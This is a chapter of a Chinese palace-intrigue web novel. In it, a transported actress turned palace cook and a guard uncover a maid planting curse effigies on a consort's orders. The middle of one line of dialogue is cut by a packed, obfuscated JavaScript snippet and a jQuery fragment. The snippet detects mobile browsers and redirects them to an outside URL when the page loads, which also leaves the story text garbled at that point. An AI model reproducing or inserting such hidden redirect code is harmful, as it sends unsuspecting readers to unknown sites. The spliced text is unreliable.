16. 「花红刃蕊心」
作品:《春影惊宫录》 -
凌鸢将那盏工艺复杂的「鹅脂酥山」放进食盒走出小厨房时,暮色已浸深了宫墙。食盒内絮着蚕棉,氤氲出甜腻的暖雾。姜穆临在梨花树下按刀而立背脊挺拔,已等候有时。
他亲眼见着凌鸢将鹅油反复调至琥珀般澄清,看混入其中的甘蔗糖浆凝成雪山似的轮廓;看她指尖拈着腌梅子、糖渍洛神花把甜品点缀晶莹。她如雕刻一件手工品般专注而沉浸,他本想看一会就巡逻,但许是香味绊住了他的手脚,让他挪不动步,违不了心。
“姜侍卫久候啦。今日是一道甜品,虽说皇上日日都称好吃,每次都说随意,但奴婢还是次次选用上等食谱,所做膳食皆是珍品精肴,不敢轻易怠慢。你昨日说这两日皇上因为前朝战事劳形,整天都在龙延殿批折子见大臣,连用膳都不得空,奴婢就多制了些这酥山,一口顶不少饥饿和疲累。也希望皇上能够多注意休息……嗯,别的就没啦。”
凌鸢递食盒之时,忍不住唠叨了两句。最后意识到关切过多,便拢拢鬓发低头有些不好意思。戚风经过,吹动二人衣摆。
“微职会替鸢儿姑娘转告陛下,你辛苦了。”姜穆临接过东西,罢了有些犹豫,但还是从怀中取出一个靛青小盒,递了出去,“这个是我阿姐制的「芙蓉露」,用木芙蓉榨汁混着茶油所做,用于护手之用。我见你做饭时常双手沾水,三月风露重,你涂来滋润吧。”
凌鸢看着那不过寸余的小巧东西,甚是惊喜。没想到姜侍卫一个大男人,竟会注意到她做饭会伤手,真的好细腻……
“多谢大人。奴婢一定会好好用。”凌鸢欢喜接下礼物。因为她是女明星,日常最重视身体养护,所以早在岚蝶那帮忙从尚功局换了些水粉来保养,但她还是接受了男人的好意。
姜穆临见她收下,抿抿嘴似是很满足:“那我先走了,明日再来。”
“再见大人。”
凌鸢望着他的背影,轻风又接来,把她手中玉露的香味沁进风中。
岚蝶急匆匆跑回院,正巧撞见二人分别一幕。她杏眼圆瞪,面上浮起几分嗔怪,似是窥见了什么不讨喜的光景。
凌鸢见她神情有异不解问:“你怎得了?”
“生气了。”
“好端端的生什么气呀?”
“方才有块木头,好像要拱我家水灵灵的白菜了。”岚蝶边说边往姜穆临走去的方向拂袖,“可我家白菜是要飞上枝头当凤凰的,那头黑熊趁早死了这条心罢。”
凌鸢听懂了但是诧异不止:“啊??”
“不说这个了,我跟你说件重要的事。”岚蝶自顾自说完,想起刚跑过来要跟她说的正事,将凌鸢拉过来,神色忽变,“今日墨竹奉柔淑妃之命,来咱们殿里与魏太医一起检查日用之物。我暗中留意着,竟瞧见她偷偷往婕妤的床头塞东西!”
“什么?藏了什么??”
“我没瞧真切,”岚蝶懊恼地绞着帕子,“我刚要细看就被她发觉,她立即将东西藏了起来……隐约,像是些剪纸人之类的物事。你说,会不会是柔淑妃来下手了?”
凌鸢的心瞬间慌乱起来,心头突突直跳,后背冒出一层冷汗。这不仅是她们头一回亲眼目睹可疑之举,更蹊跷的是这藏纸人……并不在她的系统任务之中啊!
“墨竹……还真是柔淑妃……”凌鸢囔囔着有些难以置信,她只能定定神,“可眼下没抓到现行究竟做不得数。这样,你且将此事告知红蕊,下回墨竹再来时,你二人务必把她盯紧些。若她再有动作,你们当场把她拿住。切记让红蕊嘴严一点,免得打草惊蛇又没了下文。”
岚蝶郑重点头:“好。那要跟婕妤说吗?”
“先不要吧,她知道了也无可奈何,还徒增烦忧。”凌鸢抬眼望了望天色,“一会儿姜侍卫再回来时,我与他通个气,近日须得盯紧玉华宫的动静了。”
日头隐去,最后一缕残阳沉没在墙外。整个春寻殿忽然笼罩进凝重的氛围中,冷下来的三月夜,晚风照旧肃杀,墨竹提着刚点燃的宫灯,低头走着。
迎头撞上了姜穆临。
-
“哎呦是姜大人……”墨竹被瞬间惊着后退半步,“您怎得走路这样悄悄,奴婢都没发现。您可是要……搜查奴婢?”
墨竹长相质朴素来老实谨慎,言行分寸拿捏得恰到好处,比玉华宫那个只会谄媚讨好做任何时都不粘锅的大宫女含星认真许多。可姜穆临总觉得她太过机警了,那当众在春寻殿藏纸人的事,不似她能做得出的。
“手里拿的什么?”男子话音严苛,眼神如刀锋,盯着她手中绢帕包裹起来的东西。
“没、没什么要紧的。”墨竹将帕子往袖中藏了藏,“不过是一些旧物,用坏了,奴婢正准备拿去灶下烧了。”
“拿过来。”
“姜大人……”
不待她多言,姜穆临直接抢过那帕包。宫灯摇曳间,他见一叠剪得狰狞的纸人赫然露出,夜风撩过,几片纸人飘飘荡荡落在地上,在青砖上投下诡异的影子。
“大人饶命啊!”墨竹见状扑通跪地,额头抵在冰冷砖面上,惊恐万分。
“说清楚。”姜穆临剑眉紧蹙,“否则,御前对峙或刑部大牢,总得见一个。”
“是……是我们娘娘……”宫女浑身战栗,带着哭腔道,“娘娘命奴婢放在春寻殿诅咒楚婕妤的东西……奴婢实在不敢,可娘娘说若不放就要了奴婢的性命,奴婢实在害怕……今日去放时还被岚蝶姑娘撞见,奴婢越想越怕便想趁夜烧了……”
“那你如何向柔淑妃交代?”
“就说、就说已经放了……”
“那你可还做过其他的勾当?下毒的事你可有参与?”
“没有!奴婢万万不敢!”墨竹猛然抬头央求,眼中尽是无助和恐惧,“只有这一回……大人饶过奴婢吧!”
姜穆临凝视着这张惶恐面容,心中暗叹,果真是她么。
“东西我收走了,此事不
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15251568|166408||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
要向任何人提起。明日晨起我便会向皇上禀报,你还有一次将功折罪的机会,事件重大,你可掂量好了。”
“是!奴婢明白!多谢大人大恩大德!”
待那挺拔身影消失在宫道尽头,墨竹缓缓起身。夜风拂过她的面庞,将她嘴角带起一抹诡秘笑意,恰似那飘然的纸人般森然。
姜穆临转身又来到春寻殿,恰逢荷如正在殿内,他倏然现身,拦住了她的去路,并将其带到僻静处。
“大人??”荷如被吓了一跳,慌张问,“您要作何?”
“太后娘娘不日回銮,”姜穆临面无表情负手交代,“「静佛宫」即将新进一批小宫女缺人教导。春寻殿这几日事情已平,邃想请人过去帮衬两日,月霜事务多,红蕊是婕妤陪嫁,凌鸢岚蝶又要操持后厨,你可有空?”
荷如一听姜侍卫把话说到这个份上,自是不能拒绝,俯身行礼:“好的大人,奴婢明日便去。”
“嗯。”姜穆临目光变得深邃,“你素来伶俐,善解人意。待婕妤平安产子,自有你的好前程。”
“谢大人抬爱。”
姜穆临为免打草惊蛇,借太后回宫需要人手和日后升迁为由暂且稳住她。毕竟抓她的证据并不充分,恐她闹起来楚婕妤抗拒。此事他已暗中知会凌鸢,言明荷如将前往太后宫中当值数日,想来便无大碍。等荷如出了春寻殿,他自会将她运出宫去,此后这里不会有她的名字。
姜穆临自玉华宫欲离去,途径花圃时忽然驻足。他记得今日晨起曾见凌鸢在牡丹花前徘徊良久,情难自已,不知是否触景生情。不过这粉牡丹开得精致鲜艳,异香扑鼻,想必是柔淑妃精心珍爱的杰作了。
侍卫身影渐远,荷如转头回春寻殿,走了两步猛然顿住。
“不对劲……”她喃喃自语,立在原地胸口剧烈起伏,指甲不自觉攥紧衣角。夜风吹动她凌乱的额前碎发,露出一双震惊的眼睛。
她知道,留给她的时间,不多了。
-
次日拂晓,天色雾沉沉,不见一丝天光透入朱檐。
红蕊早早便至尚功局讨了新茶,从外头雀跃回宫。荷如见她满面春风,不由笑问:“这是得了什么宝贝?”
“蒙顶甘露!”红蕊将茶包捧在胸前,眸中闪光,“可是尚好的东西呢!”
“哟这可是稀罕物。前儿见淑妃娘娘品过,说是清透如露,别有滋味。”荷如顿了下,“只是咱们娘娘怕苦,这茶虽清雅,只怕娘娘喝来不习惯。我见墨竹伺候柔淑妃喝茶,总是折些新鲜花瓣在茶里,花香伴着茶韵,倒是比那寻常茉莉香片更添三分清致。”
“当真??”红蕊眼睛一亮,“娘娘确是怕苦,我这就去折些花瓣来,横竖院子里牡丹开了那么多,迟早也要凋零,柔淑妃也看不完,我折点来泡茶!”
“好,快去罢。”
红蕊应声而出,奔跑中的衣裙翻飞,直往牡丹花丛中去。
像一只红色的燕子。